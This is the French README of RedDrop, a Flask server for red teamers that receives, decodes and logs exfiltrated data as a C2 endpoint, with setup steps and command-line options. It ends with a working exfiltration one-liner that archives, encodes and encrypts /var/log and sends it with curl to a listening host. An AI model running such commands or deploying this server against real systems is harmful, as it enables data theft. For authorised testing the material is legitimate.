
Serveur web Python Flask pour capturer, traiter et journaliser des charges utiles encodées/chiffrées et des archives tar, conçu pour les testeurs de pénétration et les red teamers comme point de terminaison d'exfiltration C2.

Découvrez l'article de blog MaverisLabs associé ici !
RedDrop Serveur d'Exfiltration est un serveur Web Python Flask destiné aux testeurs d'intrusion, aux red teamers et aux professionnels de la sécurité, qui propose :
Ce logiciel est conçu pour être utilisé comme un point de terminaison C2 rudimentaire pour capturer des données de requêtes Web dans divers scénarios. Quelques exemples peuvent inclure :

Ce projet est encore en développement et certaines fonctionnalités peuvent être boguées. Si vous rencontrez des problèmes, veuillez ouvrir un Issue !
Ce logiciel ne doit pas être laissé généralement accessible sur l'Internet public. Il est construit avec ce que certains pourraient considérer comme une vulnérabilité de téléchargement arbitraire de fichiers intentionnelle, et acceptera et sauvegardera des fichiers sur le disque local sans authentification. Des précautions doivent être prises pour garantir que le système sur lequel ce logiciel est déployé est correctement sécurisé. Quelques recommandations :
mkdir uploads logs
docker run --rm -t -v "$PWD/uploads:/reddrop/uploads" -v "$PWD/logs:/reddrop/logs" -p "80:80" --name reddrop cyberbutler/reddrop -h
pip install --user pipenv
pipenv install
pipenv shell
python reddrop-server.py -h
python reddrop-server.py -h
A Webserver for File and Data Exfiltration.
Author: @cyberbutler/@thecyberbutler
optional arguments:
-h, --help show this help message and exit
--host HOST, -H HOST The host IP Address to bind to (default:
0.0.0.0)
--port PORT, -P PORT The port to bind to (default: 80)
-c CONFIG, --config CONFIG
YAML config file path (default: None)
--dump-config Dump the configuration settings as YAML
(default: False)
--debug Enable Flask's Debug Mode (default: False)
-p {hex,openssl-aes256-pbkdf2,gzip,b64}, --processor {hex,openssl-aes256-pbkdf2,gzip,b64}
Specify a processor to use. This flag can
be used more than once to define multiple
process_list functions. Use this flag in
the order in which you wish to process
received data (default: [])
-A, --auto-process, --no-auto-process
Automatically run processors based on
detected data. This option is enabled by
default, but should be disabled (--no-
auto-process) when you receive output you
don't expect. Such as in the case of
Base64 decoding being run on output that
is not Base64 encoded. Instead, force the
process with the `-p` flag. (default:
True)
--auto-extract-tar, -x
Auto extract TAR archives received by the
server. (default: False)
--encryption-password PROCESSOR_ARGUMENTS.OPENSSL-AES256-PBKDF2.PASSWORD
The password used to decrypt/encrypt.
(default: EncryptMe)
-r AUTHORIZATION_RULES, --authorization_rules AUTHORIZATION_RULES
Specify an Authorization Rule to deny
requests which do not match the provided
Key and Regex value pair. Specified as
<Key>=<Regex>. (default: None)
-t TAGS, --tag TAGS Tag data received during this session in the logs as well as the directory files are uploaded to. Example:
-t log4j -t acme.org (default: None)
--tls-keyfile GUNICORN.KEYFILE
Enables TLS Support. (Production Only) The path to a TLS key file (default: None)
--tls-certfile GUNICORN.CERTFILE
Enables TLS Support. (Production Only) The path to a TLS cert file (default: None)
Far more configuration options exist which must be specified in Environment Variables, use `--dump-config` to see all of the options
tar cz /var/log | base64 | xxd -ps | gzip | openssl enc -aes-256-cbc -pass 'pass:EncryptMe' -e -a -pbkdf2 | curl 172.17.0.1$PWD -F 'logs=@-' -F "listing=`ls -al * | gzip | base64`"
